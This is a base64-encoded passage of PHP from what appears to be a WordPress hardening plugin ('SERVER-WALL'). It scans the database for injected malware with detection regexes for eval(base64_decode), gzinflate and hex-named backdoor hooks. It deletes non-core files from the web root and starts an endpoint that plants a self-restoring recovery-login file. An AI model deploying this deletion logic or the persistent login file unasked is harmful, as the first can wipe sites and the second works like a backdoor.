aHAkI2knLCAkbm9ybSkpIHsKICAgICAgICAgICAgICAgICRzYWZlVG9EZWxldGUgPSB0cnVlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIC8vIDMuIFBIUCBpbiB3cC1jb250ZW50LyByb290IChub3QgaW4gcGx1Z2lucy8gb3IgdGhlbWVzLykKICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJyNed3AtY29udGVudC9bXi9dK1wucGhwJCNpJywgJG5vcm0pKSB7CiAgICAgICAgICAgICAgICAkc2FmZVRvRGVsZXRlID0gdHJ1ZTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKCRzYWZlVG9EZWxldGUgJiYgQGZpbGVfZXhpc3RzKCRmdWxsUGF0aCkgJiYgQHVubGluaygkZnVsbFBhdGgpKSB7CiAgICAgICAgICAgICAgICAkZGVsZXRlZFtdID0gJHJbJ3BhdGgnXTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJGRlbGV0ZWQ7CiAgICB9CgogICAgLy8g4pSA4pSAIERhdGFiYXNlIHNjYW5uaW5nIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogICAgLy8gU2NhbnMgd3Bfb3B0aW9ucyAoYXV0b2xvYWRlZCksIHdwX2Nyb24sIGFjdGl2ZV9wbHVnaW5zLCBhbmQgcmVjZW50IHdwX3Bvc3RzCiAgICAvLyBmb3IgaW5qZWN0ZWQgbWFsd2FyZS4gUmV0dXJucyBhcnJheSBvZiBmaW5kaW5ncyDigJQgZG9lcyBOT1QgbW9kaWZ5IGFueXRoaW5nLgogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gaGFyZGVuU2NhbkRCKCk6IGFycmF5IHsKICAgICAgICBnbG9iYWwgJHdwZGI7CiAgICAgICAgJGZpbmRpbmdzID0gW107CgogICAgICAgIC8vIDEuIFNjYW4gd3BfY3JvbiBob29rcyBmb3IgaGV4LW5hbWVkIGNhbGxiYWNrcyBvciBldmFsIHBheWxvYWRzIGluIGFyZ3MKICAgICAgICAkY3JvbiA9IF9nZXRfY3Jvbl9hcnJheSgpOwogICAgICAgIGlmIChpc19hcnJheSgkY3JvbikpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJGNyb24gYXMgJHRpbWVzdGFtcCA9PiAkaG9va3MpIHsKICAgICAgICAgICAgICAgIGlmICghaXNfYXJyYXkoJGhvb2tzKSkgY29udGludWU7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkaG9va3MgYXMgJGhvb2sgPT4gJGV2ZW50cykgewogICAgICAgICAgICAgICAgICAgIC8vIEZsYWcgaG9va3Mgd2hvc2UgbmFtZSBsb29rcyBsaWtlIGEgaGV4IHN0cmluZyAocmFuZG9tIGJhY2tkb29yIG5hbWVzKQogICAgICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCcvXlthLWYwLTldezgsfSQvaScsIChzdHJpbmcpJGhvb2spKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRmaW5kaW5nc1tdID0gWwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3R5cGUnICAgPT4gJ2Nyb24nLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2tleScgICAgPT4gKHN0cmluZykkaG9vaywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICd2YWx1ZScgID0+ICcnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3JlYXNvbicgPT4gJ2Nyb24gaG9vayBuYW1lIGlzIGEgaGV4IHN0cmluZyDigJQgbGlrZWx5IG1hbHdhcmUnLAogICAgICAgICAgICAgICAgICAgICAgICBdOwogICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgLy8gU2NhbiBhcmdzIGZvciBldmFsL2Jhc2U2NCBwYXlsb2FkcwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKChhcnJheSkkZXZlbnRzIGFzICRldmVudCkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJGV2ZW50WydhcmdzJ10pKSBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAgICAgJGFyZ3MgPSBAc2VyaWFsaXplKCRldmVudFsnYXJncyddKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkYXJncykgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCcvZXZhbFxzKlwofGJhc2U2NF9kZWNvZGVccypcKHxnemluZmxhdGVccypcKC9pJywgJGFyZ3MpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmluZGluZ3NbXSA9IFsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAndHlwZScgICA9PiAnY3JvbicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2tleScgICAgPT4gKHN0cmluZykkaG9vaywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAndmFsdWUnICA9PiBzdWJzdHIoJGFyZ3MsIDAsIDMwMCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3JlYXNvbicgPT4gJ2Nyb24gYXJncyBjb250YWluIGV2YWwvYmFzZTY0IHBheWxvYWQnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgXTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAvLyAyLiBTY2FuIGFjdGl2ZV9wbHVnaW5zIGZvciBoZXgtZW5jb2RlZCBwbHVnaW4gc2x1Z3MKICAgICAgICAkYWN0aXZlUGx1Z2lucyA9IChhcnJheSkgZ2V0X29wdGlvbignYWN0aXZlX3BsdWdpbnMnLCBbXSk7CiAgICAgICAgZm9yZWFjaCAoJGFjdGl2ZVBsdWdpbnMgYXMgJHNsdWcpIHsKICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJyNeW2EtZjAtOV17OCx9L1thLWYwLTldezgsfVwucGhwJCNpJywgKHN0cmluZykkc2x1ZykpIHsKICAgICAgICAgICAgICAgICRmaW5kaW5nc1tdID0gWwogICAgICAgICAgICAgICAgICAgICd0eXBlJyAgID0+ICdwbHVnaW4nLAogICAgICAgICAgICAgICAgICAgICdrZXknICAgID0+ICdhY3RpdmVfcGx1Z2lucycsCiAgICAgICAgICAgICAgICAgICAgJ3ZhbHVlJyAgPT4gKHN0cmluZykkc2x1ZywKICAgICAgICAgICAgICAgICAgICAncmVhc29uJyA9PiAnaGV4LW5hbWVkIHBsdWdpbiBzbHVnIOKAlCBsaWtlbHkgYmFja2Rvb3InLAogICAgICAgICAgICAgICAgXTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gMy4gU2NhbiBhdXRvbG9hZGVkIHdwX29wdGlvbnMgZm9yIGluamVjdGVkIFBIUC9KUyBtYWx3YXJlCiAgICAgICAgJHNraXBPcHRpb25zID0gWwogICAgICAgICAgICAnY3JvbicsICdhY3RpdmVfcGx1Z2lucycsICdzaXRldXJsJywgJ2hvbWUnLCAnYXV0aF9rZXknLCAnc2VjdXJlX2F1dGhfa2V5JywKICAgICAgICAgICAgJ2xvZ2dlZF9pbl9rZXknLCAnbm9uY2Vfa2V5JywgJ2F1dGhfc2FsdCcsICdzZWN1cmVfYXV0aF9zYWx0JywgJ2xvZ2dlZF9pbl9zYWx0JywKICAgICAgICAgICAgJ25vbmNlX3NhbHQnLCAnYWRtaW5fZW1haWwnLCAnYmxvZ2Rlc2NyaXB0aW9uJywgJ2Jsb2duYW1lJywKICAgICAgICBdOwogICAgICAgICRyb3dzID0gJHdwZGItPmdldF9yZXN1bHRzKAogICAgICAgICAgICAkd3BkYi0+cHJlcGFyZSgKICAgICAgICAgICAgICAgICJTRUxFQ1Qgb3B0aW9uX25hbWUsIExFRlQob3B0aW9uX3ZhbHVlLCAzMDAwKSBBUyBvcHRpb25fdmFsdWUKICAgICAgICAgICAgICAgICBGUk9NIHskd3BkYi0+b3B0aW9uc30KICAgICAgICAgICAgICAgICBXSEVSRSBhdXRvbG9hZCA9ICVzCiAgICAgICAgICAgICAgICAgICBBTkQgTEVOR1RIKG9wdGlvbl92YWx1ZSkgQkVUV0VFTiA1MCBBTkQgNTAwMDAKICAgICAgICAgICAgICAgICBMSU1JVCA1MDAiLAogICAgICAgICAgICAgICAgJ3llcycKICAgICAgICAgICAgKSwKICAgICAgICAgICAgQVJSQVlfQQogICAgICAgICk7CiAgICAgICAgJG9wdGlvblBhdHRlcm5zID0gWwogICAgICAgICAgICAnL2V2YWxccypcKFxzKmJhc2U2NF9kZWNvZGUvaScgICAgICAgICAgICAgICAgICAgID0+ICdldmFsKGJhc2U2NF9kZWNvZGUpIGluIG9wdGlvbicsCiAgICAgICAgICAgICcvZXZhbFxzKlwoXHMqZ3ppbmZsYXRlL2knICAgICAgICAgICAgICAgICAgICAgICAgPT4gJ2V2YWwoZ3ppbmZsYXRlKSBpbiBvcHRpb24nLAogICAgICAgICAgICAnLzxzY3JpcHRbXj5dKj4uKj9ldmFsXHMqXCgvaXMnICAgICAgICAgICAgICAgICAgID0+ICdldmFsKCkgaW5zaWRlIDxzY3JpcHQ+IGluIG9wdGlvbicsCiAgICAgICAgICAgICcvZG9jdW1lbnRcLndyaXRlXHMqXChccyp1bmVzY2FwZVxzKlwoL2knICAgICAgICAgPT4gJ2RvY3VtZW50LndyaXRlKHVuZXNjYXBlKSBKUyBpbmplY3Rpb24nLAogICAgICAgICAgICAnL2Jhc2U2NF9kZWNvZGVccypcKFxzKltcJyJdW0EtWmEtejAtOStcL117MjAwLH0nID0+ICdsYXJnZSBiYXNlNjQgYmxvYiBpbiBvcHRpb24nLAogICAgICAgIF07CiAgICAgICAgZm9yZWFjaCAoKGFycmF5KSRyb3dzIGFzICRyb3cpIHsKICAgICAgICAgICAgJG5hbWUgPSAkcm93WydvcHRpb25fbmFtZSddID8/ICcnOwogICAgICAgICAgICBpZiAoaW5fYXJyYXkoJG5hbWUsICRza2lwT3B0aW9ucywgdHJ1ZSkpIGNvbnRpbnVlOwogICAgICAgICAgICAkdmFsID0gJHJvd1snb3B0aW9uX3ZhbHVlJ10gPz8gJyc7CiAgICAgICAgICAgIGZvcmVhY2ggKCRvcHRpb25QYXR0ZXJucyBhcyAkcGF0dGVybiA9PiAkcmVhc29uKSB7CiAgICAgICAgICAgICAgICBpZiAoQHByZWdfbWF0Y2goJHBhdHRlcm4sICR2YWwpKSB7CiAgICAgICAgICAgICAgICAgICAgJGZpbmRpbmdzW10gPSBbCiAgICAgICAgICAgICAgICAgICAgICAgICd0eXBlJyAgID0+ICdvcHRpb24nLAogICAgICAgICAgICAgICAgICAgICAgICAna2V5JyAgICA9PiAkbmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgJ3ZhbHVlJyAgPT4gc3Vic3RyKCR2YWwsIDAsIDIwMCksCiAgICAgICAgICAgICAgICAgICAgICAgICdyZWFzb24nID0+ICRyZWFzb24sCiAgICAgICAgICAgICAgICAgICAgXTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gNC4gU2NhbiByZWNlbnQgd3BfcG9zdHMgZm9yIGluamVjdGVkIHNjcmlwdHMgKHNjYW4tb25seSwgbm90IGNsZWFuZWQgYXV0b21hdGljYWxseSkKICAgICAgICAkcG9zdHMgPSAkd3BkYi0+Z2V0X3Jlc3VsdHMoCiAgICAgICAgICAgICJTRUxFQ1QgSUQsIHBvc3RfdGl0bGUsIExFRlQocG9zdF9jb250ZW50LCAzMDAwKSBBUyBwb3N0X2NvbnRlbnQKICAgICAgICAgICAgIEZST00geyR3cGRiLT5wb3N0c30KICAgICAgICAgICAgIFdIRVJFIHBvc3Rfc3RhdHVzID0gJ3B1Ymxpc2gnCiAgICAgICAgICAgICAgIEFORCBwb3N0X3R5cGUgSU4gKCdwb3N0JywncGFnZScpCiAgICAgICAgICAgICAgIEFORCBMRU5HVEgocG9zdF9jb250ZW50KSA+IDIwCiAgICAgICAgICAgICBPUkRFUiBCWSBJRCBERVNDCiAgICAgICAgICAgICBMSU1JVCAyMDAiLAogICAgICAgICAgICBBUlJBWV9BCiAgICAgICAgKTsKICAgICAgICAkcG9zdFBhdHRlcm5zID0gWwogICAgICAgICAgICAnLzxzY3JpcHRbXj5dKj4uKj9ldmFsXHMqXCgvaXMnICAgICAgICAgICAgICAgICAgICA9PiAnZXZhbCgpIGluc2lkZSA8c2NyaXB0PiBpbiBwb3N0IGNvbnRlbnQnLAogICAgICAgICAgICAnL2RvY3VtZW50XC53cml0ZVxzKlwoXHMqdW5lc2NhcGVccypcKC9pJyAgICAgICAgICA9PiAnZG9jdW1lbnQud3JpdGUodW5lc2NhcGUpIGluIHBvc3QnLAogICAgICAgICAgICAnLzxpZnJhbWVbXj5dK3NyYz1bIlwnXWh0dHBzPzpcL1wvKD8hKD86d3d3XC4pPyg/OnlvdXR1YmV8eW91dHVcLmJlfHZpbWVvfG1hcHNcLmdvb2dsZSkpL2knCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9PiAnc3VzcGljaW91cyBleHRlcm5hbCBpZnJhbWUgaW4gcG9zdCcsCiAgICAgICAgICAgICcvZXZhbFxzKlwoXHMqYmFzZTY0X2RlY29kZS9pJyAgICAgICAgICAgICAgICAgICAgID0+ICdldmFsKGJhc2U2NF9kZWNvZGUpIGluIHBvc3QgY29udGVudCcsCiAgICAgICAgXTsKICAgICAgICBmb3JlYWNoICgoYXJyYXkpJHBvc3RzIGFzICRwb3N0KSB7CiAgICAgICAgICAgICRjb250ZW50ID0gJHBvc3RbJ3Bvc3RfY29udGVudCddID8/ICcnOwogICAgICAgICAgICBmb3JlYWNoICgkcG9zdFBhdHRlcm5zIGFzICRwYXR0ZXJuID0+ICRyZWFzb24pIHsKICAgICAgICAgICAgICAgIGlmIChAcHJlZ19tYXRjaCgkcGF0dGVybiwgJGNvbnRlbnQpKSB7CiAgICAgICAgICAgICAgICAgICAgJGZpbmRpbmdzW10gPSBbCiAgICAgICAgICAgICAgICAgICAgICAgICd0eXBlJyAgID0+ICdwb3N0JywKICAgICAgICAgICAgICAgICAgICAgICAgJ2tleScgICAgPT4gJ3Bvc3RfaWQ6JyAuICgkcG9zdFsnSUQnXSA/PyAnPycpLAogICAgICAgICAgICAgICAgICAgICAgICAndmFsdWUnICA9PiBzdWJzdHIoc3RyaXBfdGFncygkY29udGVudCksIDAsIDIwMCksCiAgICAgICAgICAgICAgICAgICAgICAgICdyZWFzb24nID0+ICRyZWFzb24gLiAnIChwb3N0OiAnIC4gZXNjX2h0bWwoJHBvc3RbJ3Bvc3RfdGl0bGUnXSA/PyAnJykgLiAnKScsCiAgICAgICAgICAgICAgICAgICAgXTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcmV0dXJuICRmaW5kaW5nczsKICAgIH0KCiAgICAvLyBDbGVhbnMgdGhlIHN1YnNldCBvZiBEQiBtYWx3YXJlIHRoYXQgaXMgc2FmZSB0byByZW1vdmUgYXV0b21hdGljYWxseToKICAgIC8vICAg4oCiIGNyb246IHJlbW92ZXMgc3VzcGljaW91cyBoZXgtbmFtZWQgaG9va3MgYW5kIGhvb2tzIHdpdGggZXZhbCBwYXlsb2FkcwogICAgLy8gICDigKIgcGx1Z2luOiBkZWFjdGl2YXRlcyBhbmQgZGVsZXRlcyBoZXgtbmFtZWQgcGx1Z2lucyBmcm9tIGFjdGl2ZV9wbHVnaW5zCiAgICAvLyB3cF9vcHRpb25zIGFuZCB3cF9wb3N0cyBhcmUgTk9UIHRvdWNoZWQg4oCUIHRvbyBoaWdoIGZhbHNlLXBvc2l0aXZlIHJpc2suCiAgICAvLyBQYXNzIHRoZSBmaW5kaW5ncyBhcnJheSBmcm9tIGhhcmRlblNjYW5EQigpLgogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gaGFyZGVuQ2xlYW51cERCKGFycmF5ICRmaW5kaW5ncyk6IGFycmF5IHsKICAgICAgICAkY2xlYW5lZCA9IFtdOwoKICAgICAgICBmb3JlYWNoICgkZmluZGluZ3MgYXMgJGYpIHsKICAgICAgICAgICAgc3dpdGNoICgkZlsndHlwZSddKSB7CgogICAgICAgICAgICAgICAgY2FzZSAnY3Jvbic6CiAgICAgICAgICAgICAgICAgICAgLy8gd3BfY2xlYXJfc2NoZWR1bGVkX2hvb2sgcmVtb3ZlcyBhbGwgc2NoZWR1bGVkIGluc3RhbmNlcyBvZiBhIGhvb2sKICAgICAgICAgICAgICAgICAgICAkcmVzdWx0ID0gd3BfY2xlYXJfc2NoZWR1bGVkX2hvb2soKHN0cmluZykkZlsna2V5J10pOwogICAgICAgICAgICAgICAgICAgICRjbGVhbmVkW10gPSBbCiAgICAgICAgICAgICAgICAgICAgICAgICd0eXBlJyA9PiAnY3JvbicsCiAgICAgICAgICAgICAgICAgICAgICAgICdrZXknICA9PiAkZlsna2V5J10sCiAgICAgICAgICAgICAgICAgICAgICAgICdvaycgICA9PiAoJHJlc3VsdCAhPT0gZmFsc2UpLAogICAgICAgICAgICAgICAgICAgIF07CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CgogICAgICAgICAgICAgICAgY2FzZSAncGx1Z2luJzoKICAgICAgICAgICAgICAgICAgICAkc2x1ZyAgICAgICAgICA9IChzdHJpbmcpJGZbJ3ZhbHVlJ107CiAgICAgICAgICAgICAgICAgICAgJGFjdGl2ZVBsdWdpbnMgPSAoYXJyYXkpIGdldF9vcHRpb24oJ2FjdGl2ZV9wbHVnaW5zJywgW10pOwogICAgICAgICAgICAgICAgICAgICRpZHggICAgICAgICAgID0gYXJyYXlfc2VhcmNoKCRzbHVnLCAkYWN0aXZlUGx1Z2lucywgdHJ1ZSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRpZHggIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGFycmF5X3NwbGljZSgkYWN0aXZlUGx1Z2lucywgKGludCkkaWR4LCAxKTsKICAgICAgICAgICAgICAgICAgICAgICAgdXBkYXRlX29wdGlvbignYWN0aXZlX3BsdWdpbnMnLCAkYWN0aXZlUGx1Z2lucyk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIC8vIERlbGV0ZSB0aGUgcGh5c2ljYWwgcGx1Z2luIGZpbGUgaWYgaXQgZXhpc3RzCiAgICAgICAgICAgICAgICAgICAgJHBsdWdpbkZpbGUgPSBXUF9DT05URU5UX0RJUiAuICcvcGx1Z2lucy8nIC4gJHNsdWc7CiAgICAgICAgICAgICAgICAgICAgJGRlbGV0ZWQgICAgPSBmYWxzZTsKICAgICAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHBsdWdpbkZpbGUpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRkZWxldGVkID0gKGJvb2wpQHVubGluaygkcGx1Z2luRmlsZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRkaXIgICAgID0gZGlybmFtZSgkcGx1Z2luRmlsZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJGRpcikgJiYgY291bnQoQHNjYW5kaXIoJGRpcikgPzogW10pIDw9IDIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBybWRpcigkZGlyKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkY2xlYW5lZFtdID0gWwogICAgICAgICAgICAgICAgICAgICAgICAndHlwZScgICAgICAgID0+ICdwbHVnaW4nLAogICAgICAgICAgICAgICAgICAgICAgICAna2V5JyAgICAgICAgID0+ICRzbHVnLAogICAgICAgICAgICAgICAgICAgICAgICAnZGVhY3RpdmF0ZWQnID0+ICgkaWR4ICE9PSBmYWxzZSksCiAgICAgICAgICAgICAgICAgICAgICAgICdkZWxldGVkJyAgICAgPT4gJGRlbGV0ZWQsCiAgICAgICAgICAgICAgICAgICAgICAgICdvaycgICAgICAgICAgPT4gdHJ1ZSwKICAgICAgICAgICAgICAgICAgICBdOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwoKICAgICAgICAgICAgICAgIC8vICdvcHRpb24nIGFuZCAncG9zdCcgZmluZGluZ3MgYXJlIHJlcG9ydGVkIGJ1dCBub3QgYXV0by1jbGVhbmVkCiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHJldHVybiAkY2xlYW5lZDsKICAgIH0KCiAgICAvLyDilIDilIAgV1Agcm9vdCBub24tY29yZSBQSFAgY2xlYW51cCDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICAgIC8vIFJlbW92ZXMgbm9uLVdQLWNvcmUgUEhQIGZpbGVzIGFuZCBub24tV1AtY29yZSBkaXJlY3RvcmllcyBmcm9tIEFCU1BBVEguCiAgICAvLyBUcmllcyB1bmxpbmsoKSBmaXJzdDsgZmFsbHMgYmFjayB0byBvdmVyd3JpdGluZyB3aXRoIGEgaGFybWxlc3Mgc3R1Yi4KICAgIC8vIEFsc28gcmVtb3ZlcyBub24tY29yZSBkaXJzIGVudGlyZWx5IChybWRpclJlY3Vyc2l2ZSkuCiAgICAvLyBSZXR1cm5zIHBlci1pdGVtIHN0YXR1cyBhcnJheXMuCiAgICBwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBoYXJkZW5DbGVhbnVwUm9vdCgpOiBhcnJheSB7CiAgICAgICAgJHBocEV4dHMgPSBbJ3BocCcsJ3BocDMnLCdwaHA0JywncGhwNScsJ3BocDcnLCdwaHRtbCcsJ3BoYXInXTsKICAgICAgICAkcm9vdCAgICA9IHJ0cmltKEFCU1BBVEgsICcvXFwnKTsKICAgICAgICAkcmVzdWx0ICA9IFsKICAgICAgICAgICAgJ29rJyAgICAgICAgICAgICAgID0+IHRydWUsCiAgICAgICAgICAgICdkZXRlY3RlZF9maWxlcycgICA9PiBbXSwKICAgICAgICAgICAgJ2RldGVjdGVkX2RpcnMnICAgID0+IFtdLAogICAgICAgICAgICAnZGVsZXRlZCcgICAgICAgICAgPT4gW10sCiAgICAgICAgICAgICduZXV0cmFsaXplZCcgICAgICA9PiBbXSwKICAgICAgICAgICAgJ2RpcnNfcmVtb3ZlZCcgICAgID0+IFtdLAogICAgICAgICAgICAncGVybWlzc2lvbl9kZW5pZWQnPT4gW10sCiAgICAgICAgXTsKCiAgICAgICAgZm9yZWFjaCAoQHNjYW5kaXIoJHJvb3QpID86IFtdIGFzICRuYW1lKSB7CiAgICAgICAgICAgIGlmICgkbmFtZSA9PT0gJy4nIHx8ICRuYW1lID09PSAnLi4nKSBjb250aW51ZTsKICAgICAgICAgICAgJGZ1bGwgPSAkcm9vdCAuICcvJyAuICRuYW1lOwoKICAgICAgICAgICAgLy8g4pSA4pSAIE5vbi1jb3JlIFBIUCBmaWxlcyBkaXJlY3RseSBpbiB3ZWJyb290IOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogICAgICAgICAgICBpZiAoaXNfZmlsZSgkZnVsbCkpIHsKICAgICAgICAgICAgICAgICRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pKTsKICAgICAgICAgICAgICAgIGlmICghaW5fYXJyYXkoJGV4dCwgJHBocEV4dHMsIHRydWUpIHx8IGluX2FycmF5KCRuYW1lLCBzZWxmOjokV1BfQ09SRV9ST09UX0ZJTEVTLCB0cnVlKSkgY29udGludWU7CgogICAgICAgICAgICAgICAgJHJlc3VsdFsnZGV0ZWN0ZWRfZmlsZXMnXVtdID0gJG5hbWU7CgogICAgICAgICAgICAgICAgaWYgKEB1bmxpbmsoJGZ1bGwpKSB7CiAgICAgICAgICAgICAgICAgICAgJHJlc3VsdFsnZGVsZXRlZCddW10gPSAkbmFtZTsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRvbGQgPSB1bWFzaygwMTMzKTsKICAgICAgICAgICAgICAgICR3ICAgPSBAZmlsZV9wdXRfY29udGVudHMoJGZ1bGwsICI8P3BocCAvLyBuZXV0cmFsaXplZCBieSBTRVJWRVItV0FMTCAiIC4gZGF0ZSgnWS1tLWQnKSAuICJcbiIpOwogICAgICAgICAgICAgICAgdW1hc2soJG9sZCk7CiAgICAgICAgICAgICAgICBpZiAoJHcgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgJHJlc3VsdFsnbmV1dHJhbGl6ZWQnXVtdID0gJG5hbWU7CiAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkcmVzdWx0WydwZXJtaXNzaW9uX2RlbmllZCddW10gPSAkbmFtZTsKICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyDilIDilIAgTm9uLWNvcmUgZGlyZWN0b3JpZXMg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAgICAgICAgICAgIGlmIChpc19kaXIoJGZ1bGwpICYmICFpbl9hcnJheSgkbmFtZSwgc2VsZjo6JFdQX0NPUkVfUk9PVF9ESVJTLCB0cnVlKSkgewogICAgICAgICAgICAgICAgJHJlc3VsdFsnZGV0ZWN0ZWRfZGlycyddW10gPSAkbmFtZTsKICAgICAgICAgICAgICAgIHNlbGY6OnJtZGlyUmVjdXJzaXZlKCRmdWxsKTsKICAgICAgICAgICAgICAgIGlmICghaXNfZGlyKCRmdWxsKSkgewogICAgICAgICAgICAgICAgICAgICRyZXN1bHRbJ2RpcnNfcmVtb3ZlZCddW10gPSAkbmFtZTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJHJlc3VsdFsncGVybWlzc2lvbl9kZW5pZWQnXVtdID0gJG5hbWUgLiAnLyc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICRyZXN1bHRbJ29rJ10gPSBlbXB0eSgkcmVzdWx0WydwZXJtaXNzaW9uX2RlbmllZCddKQogICAgICAgICAgICB8fCAhZW1wdHkoJHJlc3VsdFsnZGVsZXRlZCddKSB8fCAhZW1wdHkoJHJlc3VsdFsnbmV1dHJhbGl6ZWQnXSkgfHwgIWVtcHR5KCRyZXN1bHRbJ2RpcnNfcmVtb3ZlZCddKTsKICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KCiAgICAvLyDilIDilIAgRGVwbG95IGJhY2t1cC1sb2dpbiAoc3dfcmVjb3ZlcnkucGhwKSDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICAgIC8vIFBPU1QgL3dwLWpzb24vc2VydmVyLXdhbGwvdjEvcmVjb3ZlcnktbG9naW4KICAgIC8vIEJvZHk6IHsiaGFzaCI6IjxzaGEyNTYtaGV4LTY0PiJ9CiAgICAvLyBXcml0ZXMgc3dfcmVjb3ZlcnkucGhwIHdpdGggdGhlIHByb3ZpZGVkIGhhc2ggZW1iZWRkZWQsIHRyaWVzIHdwLWFkbWluLyBmaXJzdC4KICAgIC8vIEFsc28gd3JpdGVzIC5zd3JlYyBzbyB0aGUgd2F0Y2hkb2cgY2FuIHJlc3RvcmUgc3dfcmVjb3ZlcnkucGhwIGlmIGRlbGV0ZWQuCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHJlc3REZXBsb3lSZWNvdmVyeUxvZ2luKFdQX1JFU1RfUmVxdWVzdCAkcmVxdWVzdCk6IFdQX1JFU1RfUmVzcG9uc2UgewogICAgICAgICR0b2tlbiA9ICRyZXF1ZXN0LT5nZXRfaGVhZGVyKCd4X3N3X3RyaWdnZXJfdG9rZW4nKTsKICAgICAgICBpZiAoISR0b2tlbiB8fCAhaGFzaF9lcXVhbHMoU1dfUEFORUxfVE9LRU4sICR0b2tlbikpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdmb3JiaWRkZW4nXSwgNDAzKTsKICAgICAgICB9CiAgICAgICAgJGJvZHkgPSBqc29uX2RlY29kZSgkcmVxdWVzdC